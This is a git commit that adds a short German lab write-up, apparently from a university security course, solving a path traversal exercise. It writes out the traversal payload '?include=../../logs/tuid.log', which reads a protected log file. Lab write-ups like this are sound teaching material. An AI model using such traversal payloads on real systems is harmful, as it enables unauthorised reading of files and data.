Add Path Traversal write up

This commit is contained in:
2022-01-30 20:22:01 +01:00
parent 10255f134e
commit 0292d10058
2 changed files with 23 additions and 0 deletions

23
path-traversal/README.md Normal file
View File

@ -0,0 +1,23 @@
# Path Traversal
Gegeben ist ein Minibrowser ohne URL-Leiste.
Ziel ist das Einlesen von Dateien,
auf die wir eigentlich keinen Zugriff haben sollen.
![](path-traversal.png)
## Lösung
Laut dem Hinweis sollen wir die URL im Browser anschauen:
```
https://securitylab.sit.tu-darmstadt.de/index.php/task/show/546?include=start.php
```
Die Beschreibung weist uns auf `start.php` hin:
```
[unknown]/logs/tuid.log
[unknown]/public_html/views/start.php
```
Wir können mittels [`..` auf Elternverzeichnisse zugreifen](https://superuser.com/questions/153165/what-does-represent-while-giving-path/153175#153175):
```
https://securitylab.sit.tu-darmstadt.de/index.php/task/show/546?include=../../logs/tuid.log
```

Binary file not shown.

After

Width:  |  Height:  |  Size: 40 KiB